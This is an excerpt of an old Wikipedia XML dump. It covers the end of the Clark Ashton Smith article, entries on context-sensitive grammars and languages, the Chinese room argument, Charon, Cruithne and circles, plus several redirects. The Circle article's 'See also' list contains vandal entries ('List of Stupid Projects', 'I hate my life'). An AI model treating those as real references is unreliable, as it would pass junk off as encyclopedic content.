*&quot;The Tale of Satampra Zeiros&quot; &amp;mdash; Weird Tales  November 1931 LW2 
*&quot;The Door to Saturn &amp;mdash; Strange Tales&quot;, January 1932 LW2 
*&quot;The Planet of the Dead &amp;mdash; Weird Tales&quot;, March 1932 LW2 
*&quot;The Gorgon &amp;mdash; Weird Tales&quot;, April 1932 LW2 
*&quot;The Letter from Mohaun Los&quot; (under the title of &quot;Flight into Super-Time&quot;) &amp;mdash; Wonder Stories, August 1932 LW1 
*&quot;The Empire of the Necromancers&quot; &amp;mdash; Weird Tales, September 1932 LW1  
*&quot;The Hunters from Beyond&quot; &amp;mdash; Strange Tales, October 1932 LW1 
*&quot;The Isle of the Torturers&quot; &amp;mdash; Weird Tales, March 1933 LW1 
*&quot;The Light from Beyond&quot; &amp;mdash; Wonder Stories, April 1933 LW1 
*&quot;The Beast of Averoigne&quot; &amp;mdash; Weird Tales, May 1933 LW1 
*&quot;The Holiness of Azedarac&quot; &amp;mdash; Weird Tales, November 1933 LW1 
*&quot;The Demon Of the Flower&quot; &amp;mdash; Astounding Stories, December 1933 LW2 
*&quot;The Death of Malygris&quot; &amp;mdash; Weird Tales, April 1934 LW2 
*&quot;The Plutonium Drug&quot; &amp;mdash; Amazing Stories, September 1934 LW2 
*&quot;The Seven Geases&quot; &amp;mdash; Weird Tales, October 1934 LW2 
*&quot;Xeethra&quot; &amp;mdash; Weird Tales, December 1934 LW1 
*&quot;The Flower-Women&quot; &amp;mdash; Weird Tales, May 1935 LW2 
*&quot;The Treader of the Dust&quot; &amp;mdash; Weird Tales, August 1935 LW1 
*&quot;Necromancy in Naat&quot; &amp;mdash; Weird Tales, July 1936 LW1 
*&quot;The Maze of Maal Dweb&quot; &amp;mdash; Weird Tales, October 1938 LW2 
*&quot;The Coming of the White Worm&quot; &amp;mdash; Stirring Science Stories, April 1941 LW2

===Sculpture: 1935-1961===

By this time his interest in writing fiction began to lessen and he turned to creating sculptures from soft rock.

==Books==
{{wikisource author}}
[http://www.hippocampuspress.com '''Hippocampus Press''']
*''The Complete Poetry and Translations of Clark Ashton Smith''
*''The Black Diamonds''
*''The Last Oblivion: Best Fantastic Poems of Clark Ashton Smith''
*''The Sword Of Zagan And Other Writings''
*''Letters Of George Sterling And Clark Ashton Smith''
*''The Freedom Of Fantastic Things''

[http://www.arkhamhouse.com '''Arkham House''']

*''Out Of Space And Time'' (out of print)
*''Lost Worlds'' (o.o.p.)
*''Genius Loci and Other Tales'' (o.o.p.)
*''The Dark Chateau'' (o.o.p.)
*''Spells and Philtres'' (o.o.p.)
*''The Abominations Of Yondo'' (o.o.p.)
*''Tales Of Science And Sorcery'' (o.o.p.)
*''Poems In Prose'' (o.o.p.)
*''Other Dimensions'' (o.o.p.)
*''Selected Poems'' (o.o.p.)
*''The Black Book of Clark Ashton Smith'' (o.o.p.)
*''A Rendezvous in Averoigne'' 
*''Selected Letters of Clark Ashton Smith''

[[Ballantine Adult Fantasy series]]

*''Zothique'' (o.o.p.)
*''Hyperborea'' (o.o.p.)
*''Xiccarph'' (o.o.p.)
*''Poseidonis'' (o.o.p.)

*''Averoigne'' (reportedly compiled by series editor [[Lin Carter]], but never released)

[http://www.orionbooks.co.uk/ '''Millennium Fantasy Masterworks''']

*''The Emperor of Dreams''
 
[http://www.wildsidepress.com '''Wildside Press''']

*''The Double Shadow''
*''The Maker of Gargoyles and Other Stories''

&lt;u&gt;'''Spearman'''&lt;/u&gt;

*''Lost Worlds'' hardcover 1971 ISBN 0854351116 &lt;br&gt;

&lt;u&gt;'''Panther''' (reprinted from Arkham House)&lt;/u&gt;

*''Lost Worlds'' (published in 2 volumes, o.o.p.)
*''Genius Loci'' (o.o.p.)
*''The Abominations Of Yondo (o.o.p.)
*''Other Dimensions'' (published in 2 volumes, o.o.p.)
*''Out Of Space And Time'' (published in 2 volumes, o.o.p.)
*''Tales Of Science And Sorcery'' (o.o.p.)

[[Timescape Books]]

*''The Last Incantation'' (o.o.p.)

==Journals of Smith Studies==

[http://www.necropress.com '''Necronomicon Press''']
*''[[The Dark Eidolon: The Journal of Smith Studies]]''

[http://www.seele-brennt.com '''Seele Brennt Publications''']
*''[[Lost Worlds: The Journal of Clark Ashton Smith Studies]]''

==External links==

*[http://www.eldritchdark.com The Eldritch Dark] &amp;mdash; This website contains almost all of Clark Ashton Smith's written work, as well as a comprehensive selection of his art, biographies, a bibliography, a discussion board, readings, fiction tributes and more.
*[http://lovecraft.cjb.net &quot;The Ultimate Cthulhu Mythos Book List&quot;] &amp;mdash; Listing of all [[Cthulhu Mythos|Mythos]] novels, anthologies, collections, comic books, and more.
*[http://www.klarkash-ton.org Klarkash-ton.org] &amp;mdash; French bibliography of Clark Ashton Smith.
* {{isfdb name|id=Clark_Ashton_Smith|name=Clark Ashton Smith}}
*[http://www.realityends.com/author/clark-ashton-smith.html Clark Ashton Smith] pages at [http://www.realityends.com RealityEnds]

[[Category:1893 births|Smith, Clark Ashton]]
[[Category:1961 deaths|Smith, Clark Ashton]]
[[Category:American fantasy writers|Smith, Clark Ashton]]
[[Category:American poets|Smith, Clark Ashton]]
[[Category:California writers|Smith, Clark Ashton]]
[[Category:American horror writers|Smith, Clark Ashton]]
[[Category:American science fiction writers|Smith, Clark Ashton]]

[[de:Clark Ashton Smith]]
[[fi:Clark Ashton Smith]]
[[sv:Clark Ashton Smith]]
[[fr:Clark Ashton Smith]]
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  </page>
  <page>
    <title>Context-sensitive grammar</title>
    <id>6211</id>
    <revision>
      <id>41348635</id>
      <timestamp>2006-02-26T19:37:37Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <comment>rmv blank lines using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">A '''context-sensitive grammar''' is a [[formal grammar]] ''G'' = (''N'', &amp;Sigma;, ''P'', ''S'') such that all rules in ''P'' are of the form
: &amp;alpha;''A''&amp;beta; &amp;rarr; &amp;alpha;&amp;gamma;&amp;beta;
with ''A'' in ''N'' (i.e., ''A'' is single [[nonterminal]]) and &amp;alpha; and &amp;beta; in (''N'' U &amp;Sigma;)* (i.e., &amp;alpha; and &amp;beta; strings of nonterminals and [[Terminal symbol|terminal]]s) and &amp;gamma; in (''N'' U &amp;Sigma;)&lt;sup&gt;+&lt;/sup&gt; (i.e., &amp;gamma; a nonempty string of nonterminals and terminals), plus that a rule of the form
: S &amp;rarr; &amp;epsilon;
with &amp;epsilon; the empty string, is allowed if S does not appear on the right side of any rule.

The name ''context-sensitive'' is explained by the &amp;alpha; and &amp;beta; that form the context of ''A'' and determine whether ''A'' can be replaced with &amp;gamma; or not. This is different from a [[context-free grammar]] where the context of a nonterminal is not taken into consideration. A [[formal language]] that can be described by a context-sensitive grammar is called a [[context-sensitive language]].

The concept of context-sensitive grammar was introduced by [[Noam Chomsky]] in the [[1950s]] as a way to describe the syntax of natural language where it is indeed often the case that a word may or may not be appropriate in a certain place depending upon the context.

=== Alternative definition ===
Another definition of context-sensitive grammars defines them as formal grammars with the restriction that for all rules &amp;alpha;&amp;nbsp;-&gt;&amp;nbsp;&amp;beta; in ''P'' it holds that |&amp;nbsp;&amp;alpha;&amp;nbsp;|&amp;nbsp;&amp;le;&amp;nbsp;|&amp;nbsp;&amp;beta;&amp;nbsp;| where |&amp;nbsp;&amp;alpha;&amp;nbsp;| is the length of &amp;alpha;. Such a grammar is also called a ''monotonic'' or ''noncontracting grammar'' because none of the rules decreases the size of the string that is being rewritten.

While the noncontracting grammars are different from the context-sensitive ones, the two are ''almost'' equivalent in the sense that they define the same class of languages (except that noncontracting grammars cannot generate any language that contains the empty string &amp;epsilon;). But if a formal language ''L'' can be described by a grammar of the first definition then there is a noncontracting grammar that describes ''L''&amp;nbsp;-&amp;nbsp;{&amp;epsilon;}, and vice versa.

=== Example ===
A simple monotonic grammar is 
:S &amp;rarr; abc | aSBc
:cB &amp;rarr; Bc
:bB &amp;rarr; bb
where | is used to separate different options for the same non-terminal. This grammar generates the language 
&lt;math&gt; \{ a^n b^n c^n : n \ge 1 \} &lt;/math&gt;,
which is not [[context-free language|context-free]].  Context-sensitive grammars can match an unlimited number of symbols to their partners, unlike context-free grammars, which can only match one symbol to its partner, so there is also a context-sensitive grammar for the language
&lt;math&gt; \{ a^n b^n c^n d^n : n \ge 1 \} &lt;/math&gt;,
but it's much more complex than the grammar above.

=== Normal forms ===
=== Computational properties ===
The [[decision problem]] that asks whether a certain string ''s'' belongs to the language of a certain context-sensitive grammar ''G'', is [[PSPACE-complete]]. Indeed, there are even some context-sensitive grammars whose fixed grammar recognition problem is PSPACE-complete.

'''See also:''' [[Chomsky hierarchy]]

{{Formal languages and grammars}}

[[Category:Formal languages]]

[[cs:Kontextová gramatika]]
[[ja:文脈依存文法]]
[[sk:Kontextovo citlivá gramatika]]</text>
    </revision>
  </page>
  <page>
    <title>Context-sensitive language</title>
    <id>6212</id>
    <revision>
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      <contributor>
        <username>DanielCohen</username>
        <id>61283</id>
      </contributor>
      <minor />
      <comment>rv vandalism by 24.214.126.196</comment>
      <text xml:space="preserve">A '''context-sensitive language''' is a [[formal language]] that can be defined by a [[context-sensitive grammar]].  That is one of the four types of grammars in the [[Chomsky hierarchy]].  Of the four, this is the least often used, in both theory and practice.

=== Computational properties ===

Computationally the context-sensitive languages are equivalent with linear bounded non-deterministic [[Turing machine|Turing machines]]. That is a non-deterministic Turing machine with a tape of only ''kn'' cells, where ''n'' is the size of the input and ''k'' is a constant associated with the machine. This means that every formal language that can be decided by such a machine is a context-sensitive language, and every context-sensitive language can be decided by such a machine.

This set of languages is also known as '''NLIN-SPACE''', because they can be accepted using linear space on a non-deterministic Turing machine.  The class '''LIN-SPACE''' is defined the same, except using a deterministic Turing machine.  Clearly '''LIN-SPACE''' is a subset of '''NLIN-SPACE''', but it is not known whether '''LIN-SPACE'''='''NLIN-SPACE'''.  It is widely suspected they are not equal.  

=== Examples ===

An example of a context-sensitive language that is not context-free is ''L'' = { ''a''&lt;sup&gt;''p''&lt;/sup&gt; : ''p'' is a [[prime number]] }. The easiest way to show this is using a linear bounded Turing machine.

=== Properties of context-sensitive languages ===

* The union, intersection, and concatenation of two context-sensitive languages is context-sensitive.
* The complement of a context-sensitive language is itself context-sensitive.
* Every [[context-free grammar|context-free]] language is context-sensitive.

----
'''See also:''' [[Chomsky hierarchy]]


{{Formal languages and grammars}}

[[Category:Formal languages]]

[[cs:Kontextový jazyk]]
[[de:Kontextsensitive Sprache]]
[[ja:文脈依存言語]]
[[pl:Język kontekstowy]]</text>
    </revision>
  </page>
  <page>
    <title>Cruithne</title>
    <id>6213</id>
    <revision>
      <id>21307387</id>
      <timestamp>2005-08-18T18:41:59Z</timestamp>
      <contributor>
        <username>Mooquackwooftweetmeow</username>
        <id>51996</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Cruithne''' can mean:
*The [[asteroid]] [[3753 Cruithne]], notable for its peculiar [[orbit]]al relationship with [[Earth]]
*[[Cruithne (people)|Cruithne]], the ancient [[Brythonic]] tribe sometimes identified with the [[Picts]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Chinese room</title>
    <id>6216</id>
    <revision>
      <id>40759847</id>
      <timestamp>2006-02-22T21:10:30Z</timestamp>
      <contributor>
        <username>Tailpig</username>
        <id>312490</id>
      </contributor>
      <comment>Revert to revision 40577591 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The '''Chinese room''' argument is a [[thought experiment]] designed by [[John Searle]] (1980 [http://members.aol.com/NeoNoetics/MindsBrainsPrograms.html]) as a counterargument to claims made by [[strong AI|strong artificial intelligence]] ([[AI]], also [[functionalism (philosophy of mind)|functionalism]]).  At its base is Searle's contention that syntax (grammar) is not tantamount to semantics (meaning).

Searle laid out the Chinese Room argument in his paper &quot;Minds, brains and programs&quot; published in 1980. Ever since, it has been a mainstay of debate over the possibility of what Searle called 'strong artificial intelligence'. Supporters of strong artificial intelligence believe that an appropriately programmed computer isn't simply a simulation or model of a mind, it actually would count as a mind. That is, it understands, has cognitive states, and can think. Searle's argument (or more precisely, thought experiment) against this position, the Chinese room argument, goes as follows:

Suppose that, many years from now, we have constructed a computer which behaves as if it understands Chinese. In other words, the computer takes Chinese symbols as input, consults a large look-up table (as all computers can be described as doing), and then produces other Chinese symbols as output. Suppose that this computer performs this task so convincingly that it easily passes the [[Turing test]]. In other words, it convinces a human Chinese speaker that it is a Chinese speaker. All the questions the human asks are responded to appropriately, such that the Chinese speaker is convinced that he or she is talking to another Chinese speaker. The conclusion proponents of strong AI would like to draw is that the computer understands Chinese, just as the person does.

Now, Searle asks us to suppose that he is sitting inside the computer. In other words, he is in a small room in which he receives Chinese symbols, looks them up on look-up table, and returns the Chinese symbols that are indicated by the table. Searle notes, of course, that he doesn't understand a word of Chinese. Furthermore, his lack of understanding goes to show, he argues, that computers don't understand Chinese either, because they are in the same situation as he is. They are mindless manipulators of symbols, just as he is - and they don't understand what they're 'saying', just as he doesn't.

==Thought experiments==
In 1980, John Searle published &quot;Minds, Brains and Programs&quot; in the journal ''The Behavioral and Brain Sciences''. In this article, Searle sets out the argument, and then replies to the half-dozen main objections that had been raised during his presentations at various university campuses (see next section). In addition, Searle's article in BBS was published along with comments and criticisms by 27 [[cognitive science]] researchers. These 27 comments were followed by Searle's replies to his critics.

Over the last two decades of the [[twentieth century]], the Chinese Room argument was the subject of very many discussions. By 1984, Searle presented the Chinese Room argument in a book, Minds, Brains and Science. In January 1990, the popular periodical Scientific American took the debate to a general scientific audience. Searle included the Chinese Room Argument in his contribution, &quot;Is the Brain's Mind a Computer Program?&quot; His piece was followed by a responding article, &quot;Could a Machine Think?&quot;, written by Paul and Patricia Churchland. Soon thereafter Searle had a published exchange about the Chinese Room with another leading philosopher, Jerry Fodor (in Rosenthal (ed.) 1991).

The heart of the argument is an imagined human simulation of a computer, similar to Turing's Paper Machine. The human in the Chinese Room follows English instructions for manipulating Chinese symbols, where a computer &quot;follows&quot; a program written in a computing language. The human produces the appearance of understanding Chinese by following the symbol manipulating instructions, but does not thereby come to understand Chinese. Since a computer just does what the human does — manipulate symbols on the basis of their syntax alone - no computer, merely by following a program, comes to genuinely understand Chinese.

This argument, based closely on the Chinese Room scenario, is directed at a position Searle calls &quot;[[Strong AI]]&quot;. Strong AI is the view that suitably programmed computers (or the programs themselves) can understand natural language and actually have other mental capabilities similar to the humans whose abilities they mimic. According to Strong AI, a computer may play chess intelligently, make a clever move, or understand language. By contrast, &quot;[[weak AI]]&quot; is the view that computers are merely useful in psychology, linguistics, and other areas, in part because they can simulate mental abilities. But weak AI makes no claim that computers actually understand or are intelligent. The Chinese Room argument is not directed at weak AI, nor does it purport to show that machines cannot think — Searle says that brains are machines, and brains think. It is directed at the view that formal computations on symbols can produce thought.

We might summarize the narrow argument as a reductio ad absurdum against Strong AI as follows. Let L be a natural language, and let us say that a &quot;program for L&quot; is a program for conversing fluently in L. A computing system is any system, human or otherwise, that can run a program.

(1) If Strong AI is true, then there is a program for Chinese such that if any computing system runs that program, that system thereby comes to understand Chinese.
(2) I could run a program for Chinese without thereby coming to understand Chinese.
(3) Therefore Strong AI is false.

The second premise is supported by the Chinese Room thought experiment. The conclusion of this argument is that running a program cannot create understanding. The wider argument includes the claim that the thought experiment shows more generally that one cannot get semantics (meaning) from syntax (formal symbol manipulation). 

The core of Searle's argument is the distinction between [[syntax]] and [[semantics]]. The room is able to shuffle characters according to the rule book. That is, the room’s behaviour can be described as following syntactical rules. But in Searle's account it does not know the ''meaning'' of what it has done; that is, it has no semantic content. The characters do not even count as ''symbols'' because they are not interpreted at any stage of the process.

==Formal arguments==
In 1984 Searle produced a more formal version of the argument of which the Chinese Room forms a part.  He listed four premises:

:Premise 1: Brains cause minds

:Premise 2: Syntax is not sufficient for semantics

:Premise 3: Computer programs are entirely defined by their formal, syntactic structure

:Premise 4: Minds have semantic content

The second premise is supposedly supported by the Chinese Room argument, since Searle holds that the room follows only formal syntactical rules, and does not “understand” Chinese. Searle posits that these lead directly to three conclusions:

:Conclusion 1: No computer program by itself is sufficient to give a system a mind. Programs are not minds.

:Conclusion 2: The way that brain functions cause minds cannot be solely in virtue of running a [[computer program]]

:Conclusion 3: Anything else that causes minds would have to have causal powers at least equivalent to those of the brain

Searle describes this version as “excessively crude”. There has been considerable debate about whether this argument is indeed valid. These discussions centre on the various ways in which the premises can be parsed. One can read premise 3 as saying that computer programs have syntactic but not semantic content, and so Premises 2, 3 and 4 validly lead to conclusion 1. This leads to debate as to the origin of the semantic content of a computer program.

==Criticism==

There are many criticisms of Searle’s argument. Most can be categorized as either systems replies or robot replies.

===The systems reply===

Although the individual in the Chinese room does not understand Chinese, perhaps the person and the room considered together as a system do. Searle’s reply to this is that someone might in principle memorize the rule book; they would then be able to interact as if they understood Chinese, but would still just be following a set of rules, with no understanding of the significance of the symbols they are manipulating. This leads to the interesting problem of a person being able to converse fluently in Chinese without &quot;knowing&quot; Chinese, and a counterargument says that such a person actually does understand Chinese even though they would claim otherwise. A related argument is that the person doesn't know Chinese but the system comprising the person and the rule book does.

===The robot reply===

Suppose that instead of a room, the program was placed into a robot that could wander around and interact with its environment. Surely then it would be said to understand what it is doing? Searle&amp;#8217;s reply is to suppose that, unbeknownst to the individual in the Chinese room, some of the inputs he was receiving came directly from a camera mounted on a robot, and some of the outputs were used to manipulate the arms and legs of the robot. Nevertheless, the person in the room is still just following the rules, and does not know what the symbols mean. 

Suppose that the program instantiated in the rule book simulated in fine detail the interaction of the neurons in the brain of a Chinese speaker. Then surely the program must be said to understand Chinese? Searle replies that such a simulation will not have reproduced the important features of the brain&amp;mdash;its causal and intentional states.

But what if a brain simulation were connected to the world in such a way that it possessed the causal power of a real brain&amp;mdash;perhaps linked to a robot of the type described above? Then surely it would be able to think. Searle agrees that it is in principle possible to create an artificial intelligence, but points out that such a machine would have to have the same causal powers as a brain. It would be more than just a computer program.

===Other replies===

Natural language is not just an impulse-response chain of events, but rather an interaction. A person walking out of the Chinese Room must be able to actually understand Chinese if any of the questions posed relate to him. For instance, the answer to the Chinese-scripted question &quot;What is your favourite colour?&quot; can only be given by reference to the person asked. So if the person can answer, then he understands Chinese, if he can't, then even to an outside observer, that person does not speak Chinese.

It can be argued that semantics in any natural language requires a relation of words to objects in the real world. In a Chinese Room, no relation between words or symbols and the real world can be made because there is nothing to relate to within the Chinese Room other than the rules written down.

==Related works==
* John Searle (1980) &quot;[http://members.aol.com/NeoNoetics/MindsBrainsPrograms.html Minds, Brains and Programs]&quot; -- [http://www.bbsonline.org/Preprints/OldArchive/bbs.searle2.html original draft] from [http://www.bbsonline.org/ ''Behavioral and Brain Sciences'']
* John Searle (1984) &quot;Minds, Brains &amp; Science: The 1984 Reith Lectures&quot; British Broadcasting Corporation
* [[Stevan Harnad]] (2001) [http://cogprints.org/4023/ What's Wrong and Right About Searle's Chinese Room Argument] in Bishop, M. and Preston, J., Eds. Essays on Searle's Chinese Room Argument. Oxford University Press.
* [http://members.aol.com/wutsamada/disserta.html Dissertation by Larry Stephen Hauser], 
* Searle's Chinese Box: Debunking the Chinese Room Argument. Larry Hauser. available at http://members.aol.com/lshauser2/chinabox.html
* [http://plato.stanford.edu/entries/chinese-room/ The Chinese Room Argument]
* [http://samvak.tripod.com/chinese.html Philosophical and analytic considerations in the Chinese Room thought experiment]
* [http://globetrotter.berkeley.edu/people/Searle/searle-con0.html Interview in which Searle discusses the Chinese Room]



[[Category:Philosophy of mind]]
[[Category:Thought experiments]]

[[cs:Argument čínského pokoje]]
[[da:Det kinesiske rum]]
[[de:Chinesisches Zimmer]]
[[es:Sala china]]
[[fr:Chambre chinoise]]
[[he:החדר הסיני]]
[[ja:中国語の部屋]]
[[ko:중국어 방]]
[[ru:Китайская комната]]
[[sv:Det kinesiska rummet]]
[[zh:中文房间]]</text>
    </revision>
  </page>
  <page>
    <title>Charon</title>
    <id>6217</id>
    <revision>
      <id>38608523</id>
      <timestamp>2006-02-07T13:02:33Z</timestamp>
      <contributor>
        <username>Avitek</username>
        <id>105475</id>
      </contributor>
      <minor />
      <comment>+intewiki cs</comment>
      <text xml:space="preserve">'''Charon''' may refer to:

*[[Charon (mythology)]] - the figure from [[Greek mythology|Greek]], and later [[Christian mythology]], who ferried the dead across the river [[Acheron]] in the underworld [[Hades]] and [[Hell]], respectively.
*[[Charon (moon)]] - thought for many years to be the only [[moon]] of the planet [[Pluto (planet)|Pluto]] (for other candidates, see [[Pluto]]), sometimes considered a companion planet rather than a moon due to its large relative size.
*[[Charon (animal)]] - a genus of [[amblypygid]]
*[[Charon (cars)]] - a [[Netherlands|Dutch]] automobile manufacturer
*[[Charon (band)]] - a [[Finland|Finnish]] [[heavy metal music|heavy metal]] band
*[[Charon (composer)]] - a [[Slovakia|Slovak]] [[Electronica|electronic]] [[Electronic_music|music]] and [[Ambient_music|ambient]] [[Composer|composer]]
*[[Charon of Lampsacus|Charon]] of [[Lampsacus]], ancient Greek [[logographer (history)|logographer]]
*[[Charon language]] [http://www.cis.upenn.edu/mobies/charon/index.html]
*[[Charon (Dungeons &amp; Dragons)]] - a lord of the [[Fiend (Dungeons &amp; Dragons)|yugoloths]] whose primary function is to provide passage across the [[River Styx]] for a steep price.

{{disambig}}

[[cs:Charon]]
[[da:Charon]]
[[de:Charon]]
[[eo:Karono]]
[[es:Caronte]]
[[fr:Charon]]
[[he:כארון]]
[[it:Caronte]]
[[ja:カロン (曖昧さ回避)]]
[[hu:Charon]]
[[nl:Charon]]
[[pl:Charon]]
[[pt:Caronte]]
[[ru:Харон]]
[[sk:Cháron]]
[[sl:Haron (razločitev)]]</text>
    </revision>
  </page>
  <page>
    <title>Claudio Zuan Antonio Monteverdi</title>
    <id>6219</id>
    <revision>
      <id>15904376</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Claudio Monteverdi]]
</text>
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  </page>
  <page>
    <title>Circle</title>
    <id>6220</id>
    <revision>
      <id>42100341</id>
      <timestamp>2006-03-03T20:59:31Z</timestamp>
      <contributor>
        <ip>152.157.95.229</ip>
      </contributor>
      <comment>/* Tangent properties */</comment>
      <text xml:space="preserve">:''This article is about the shape and mathematical concept of circle; for other meanings, see [[circle (disambiguation)]].''
[[Image:CIRCLE 1.svg|250px|right|Circle illustration]]

A '''circle''', in [[Euclidean geometry]], is the [[set]] of all [[point (geometry)|points]] at a fixed [[distance]], called the ''radius'', from a fixed point, the ''centre''. The points can only be those that are part of a [[conic section]]; within the set of a [[plane (mathematics)|plane]] bisecting a [[Conical surface|cone]]. Circles are [[simple closed curve]]s, dividing the plane into an interior and exterior.  Sometimes the word ''circle'' is used to mean the interior, with the circle itself called the circumference(C). Usually however, the ''circumference'' means the length of the circle, and the interior of the circle is called a ''[[Disk (mathematics)|disk]]''. An ''arc'' is any continuous portion of a circle.

== Mathematical definitions ==
In an ''x''-''y'' [[coordinate system]], the circle with centre (''a'', ''b'') and radius ''r'' is the set of all points (''x'', ''y'') such that

:&lt;math&gt;\left( x - a \right)^2 + \left( y - b \right)^2=r^2.&lt;/math&gt;

If the circle is centred at the origin (0, 0), then this [[formula]] can be simplified to 

:&lt;math&gt;x^2 + y^2 = r^2.&lt;/math&gt;

The circle centred at the origin with radius 1 is called the [[unit circle]].

Expressed in [[parametric equations]], (''x'',&amp;nbsp;''y'') can be written as

:''x'' = ''a'' + ''r''&amp;nbsp;cos(t)
:''y'' = ''b'' + ''r''&amp;nbsp;sin(t).

The [[slope]] a circle at a point (''x'',&amp;nbsp;''y'') can be expressed with the following formula, assuming the centre is at the origin and (''x'',&amp;nbsp;''y'') is on the circle:

:&lt;math&gt;y' = - \frac{x}{y}.&lt;/math&gt;

In the [[complex plane]], a circle with a centre at ''c'' and radius ''r'' has the equation &lt;math&gt;|z-c|^2 = r^2&lt;/math&gt;. Since &lt;math&gt;|z-c|^2 = z\overline{z}-\overline{c}z-c\overline{z}+c\overline{c}&lt;/math&gt;, the slightly generalized equation &lt;math&gt;pz\overline{z} + gz + \overline{gz} = q&lt;/math&gt; for real ''p'', ''q'' and complex ''g'' is sometimes called a '''generalized circle'''. It is important to note that not all generalized circles are actually circles.

[[Image:wp_pi.png|thumb|Area of the circle = '''''π''''' × area of the shaded square]]
All circles are [[similarity (mathematics)|similar]]; as a consequence, a circle's circumference and radius are [[proportional]], as are its [[area (geometry)|area]] and the square of its radius. The [[mathematical constant|constant]]s of proportionality are 2[[pi|&amp;pi;]] and &amp;pi;, respectively.

In other words: 
* Length of a circle's circumference = &lt;math&gt;2\pi \times r.&lt;/math&gt;
* Area of a circle = &lt;math&gt;\pi \times r^2.&lt;/math&gt;

The formula for the area of a circle can be derived from the formula for the circumference and the formula for the area of a [[triangle (geometry)|triangle]], as follows. Imagine a regular [[hexagon]] (six-sided figure) divided into equal triangles, with their apices at the centre of the hexagon.  The area of the hexagon may be found by the formula for triangle area by adding up the lengths of all the triangle bases (on the exterior of the hexagon), multiplying by the height of the triangles (distance from the middle of the base to the center) and dividing by two.  This is an [[approximation]] of the area of a circle.  Then imagine the same exercise with an [[octagon]] (eight-sided figure), and the approximation is a little closer to the area of a circle.  As a regular polygon with more and more sides is divided into triangles and the area calculated from this, the area becomes closer and closer to the area of a circle. In the [[limit (mathematics)|limit]], the sum of the bases approaches the circumference 2&amp;pi;''r'', and the triangles' height approaches the radius ''r''. Multiplying the circumference and radius and dividing by 2, we get the area, &amp;pi; ''r''&amp;sup2;.

==Properties==
[[Image:CIRCLE LINES.svg|right|280px|Chord, secant, and tangent]]
[[Image:Circle slices.svg|right|260px|Arc, sector, and segment]]
===Chord properties===
*Chords equidistant from the centre of a circle are equal. 
*Equal chords are equidistant from the centre. 
*A line from the centre, perpendicular to a chord, bisects the chord. 
*The line segment drawn from the centre to the midpoint of the chord is perpendicular to the chord. 
*The perpendicular bisector of a chord passes through the centre of a circle.

===Tangent properties===
*The line drawn perpendicular to the end point of a radius is a tangent to the circle. 
*A line drawn perpendicular to a tangent at the point of contact with a circle passes through the centre of the circle. 
*Tangents drawn from a point outside the circle are equal in length. 
*Two tangents can always be drawn from a point outside of the circle. 
*If a central angle and an inscribed angle of a circle are subtended by the same chord and on the same side of the chord, then the central angle is twice the inscribed angle. 
*If two angles are inscribed on the same chord and on the same side of the chord, then they are equal. 
*An inscribed angle subtended by a semicircle is a right angle. 
*For a cyclic quadrilateral, the exterior angle is equal to the interior opposite angle.

===Secant, tangent, and chord properties===
{{See also|Power of a point}}
*The chord theorem states that if two chords, CD and EF, intersect at G, then &lt;math&gt;CG \times DG = EG \times FG&lt;/math&gt;. (Chord Theorem) 
*If a tangent from an external point D meets the circle at C and a secant from the external point D meets the circle at G and E respectively, then &lt;math&gt;DC^2 = DG \times DE&lt;/math&gt;. (Tangent Secant Theorem) 
*If two secants, DG and DE, also cut the circle at H and F respectively, then &lt;math&gt;DH \times DG = DF \times DE&lt;/math&gt;. (Corollary of the Tangent Secant Theorem) 
*The angle between a tangent and chord is equal to the subtended angle on the opposite side of the chord. (Tangent Chord Property)
*If the angle subtended by the chord at the centre is 90 degrees then l = sqrt(2) * r, where l is the length of the chord and r is the radius of the circle.

==See also==
{{Commons|Category:Circles (Geometry)}}
* [[Sphere]]
* [[Unit circle]]
* [[Descartes' theorem]]
* [[Isoperimetric theorem]]
* [[List of circle topics]]
* [[List of Stupid Projects]]
* [[I hate my life]]

==External links==
*[http://agutie.homestead.com/files/clifford1.htm Clifford's Circle Chain Theorems.] This is a step by step presentation of the first theorem. Clifford discovered, in the ordinary Euclidean plane, a &quot;[[sequence]] or chain of theorems&quot; of increasing [[complexity]], each building on the last in a natural progression. by Antonio Gutierrez from &quot;Geometry Step by Step from the Land of the Incas&quot; 
* [http://www.cut-the-knot.org/pythagoras/Munching/circle.shtml Munching on Circles] at [[cut-the-knot]]

[[Category:Conic sections]]

[[ar:دائرة]]
[[bg:Окръжност]]
[[ca:Cercle]]
[[cs:Kružnice]]
[[da:Cirkel]]
[[de:Kreis (Geometrie)]]
[[et:Ring]]
[[es:Círculo]]
[[eo:Cirklo]]
[[fr:Cercle]]
[[ko:원 (기하)]]
[[is:Hringur]]
[[it:Cerchio]]
[[he:מעגל]]
[[lt:Apskritimas]]
[[nl:Cirkel]]
[[ja:円 (数学)]]
[[no:Sirkel]]
[[nn:Sirkel]]
[[pl:Okrąg]]
[[pt:Círculo]]
[[ru:Окружность]]
[[simple:Circle]]
[[sk:Kružnica]]
[[sl:Krog]]
[[sr:Круг]]
[[sv:Cirkel]]
[[ta:வட்டம்]]
[[uk:Коло]]
[[zh:圆]]</text>
    </revision>
  </page>
  <page>
    <title>Catholic Cardinal</title>
    <id>6221</id>
    <revision>
      <id>15904378</id>
      <timestamp>2002-08-22T01:40:42Z</timestamp>
      <contributor>
        <ip>137.111.13.33</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cardinal (Catholicism)]]</text>
    </revision>
  </page>
  <page>
    <title>Comic books and strips</title>
    <id>6223</id>
    <revision>
      <id>15904380</id>
      <timestamp>2004-02-02T01:12:17Z</timestamp>
      <contributor>
        <username>Ike9898</username>
        <id>14010</id>
      </contributor>
      <comment>redirect to more appropriate article</comment>
      <text xml:space="preserve">#REDIRECT: [[comics]]</text>
    </revision>
  </page>
  <page>
    <title>Crewe Alexandra FC</title>
    <id>6224</id>
    <revision>
      <id>15904381</id>
      <timestamp>2002-08-08T18:18:25Z</timestamp>
      <contributor>
        <username>Mintguy</username>
        <id>3295</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT[[Crewe Alexandra F.C.]]</text>
    </revision>
  </page>
